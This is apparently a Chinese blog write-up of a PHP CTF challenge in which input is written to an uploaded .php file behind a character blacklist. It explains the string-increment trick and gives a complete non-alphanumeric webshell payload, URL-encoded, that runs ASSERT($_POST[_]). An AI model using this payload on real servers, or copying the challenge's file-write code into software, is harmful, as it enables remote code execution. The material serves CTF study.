1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++ ) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}

分析该题:
只有一个参数c是通过外部传入的,因此c就是我们需要注入的点了
传入的c的值赋给了data,然后下面遍历black_list

1
2
3
4
5
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}

stripos是查找black_list中的元素在data中出现的位置,并返回,值得注意的是,这里是用的”===”来比较
在php中”==”来比较0和false会返回true

1
2
<?php
var_dump(0 == false);

而”===”则会返回false

因此这里如果匹配到了任意位置,程序都会die掉。

我们再来看black_list:

1
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');

black_list包含了26个英文字母的大小写,数字,以及一些常见的符号。
也就是说,我们传入的c变量中不能包含这些字母,数字和符号。

上面那个函数可以不用管,就是一个生成一个随机文件名的函数。
我们接下来重点看这句:

1
2
3
4
5
6
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}

这里将<?php 和 变量data的值写入一个文件,而变量data中又不能包含那些常见字符,再结合下面的Enjoy your webshell,可以知道,这道题考察的是通过特殊字符来写webshell

当然我自己是想不出来怎么做的,但是看了p神的文章后豁然开朗:
我们这里就介绍一种方法,其它的可以参考p神的博客

先从php的一个特性说起:
php在对字母进行加运算时,会按照字母表的顺序将其后的字母赋值给它。

1
2
3
4
<?php
$str = "b";
$str++;
echo "$str";


但是如果时对字母进行减法运算时,则变量的值不会改变。

1
2
3
4
<?php
$str = "b";
$str--;
echo "$str";

这里还要用到php的另外一个特性:
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array。

1
2
3
4
<?php
$a = [];
$b = "$a";
echo "$b";

这样,我们就可以写webshell了,用强制连接数组和字符串来得到Array,然后取其中一个A或a,通过字母的自增运算可以得到其它的所有字母。
比如得到字母P:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$_ = [];
$_ = "$_";
$_ = $_[0];
$_ ++;
$_++;
$_++;
$_ ++;
$_++;
$_++;
$_ ++;
$_++;
$_++;
$_ ++;
$_++;
$_++;
$_ ++;
$_++;
$_++;
echo $_;

通过这种方法,我们就可以使用构造出任意字母,然后就可以写webshell了,但是,这里还有一个数字0

1
$_ = $_[0];

我们可以这样做:

1
2
3
4
5
<?php
$_ = [];
$_ = "$_";
$_=$_['_'=='__'];
echo $_;


那么我们最终的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['_'=='__']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

运行结果:


我们先消去它的空格和换行,然后将其进行url编码

1
$_=[];$_='$_';$_=$_['_'=='__'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

最终这道题的payload为:

1
?c=%24_%3D%5B%5D%3B%24_%3D%27%24_%27%3B%24_%3D%24_%5B%27_%27%3D%3D%27__%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B

最后更新: 2018年03月19日 14:09

原始链接: http://drac0nids.top/2018/03/18/challenge5/

× 请我吃糖~
打赏二维码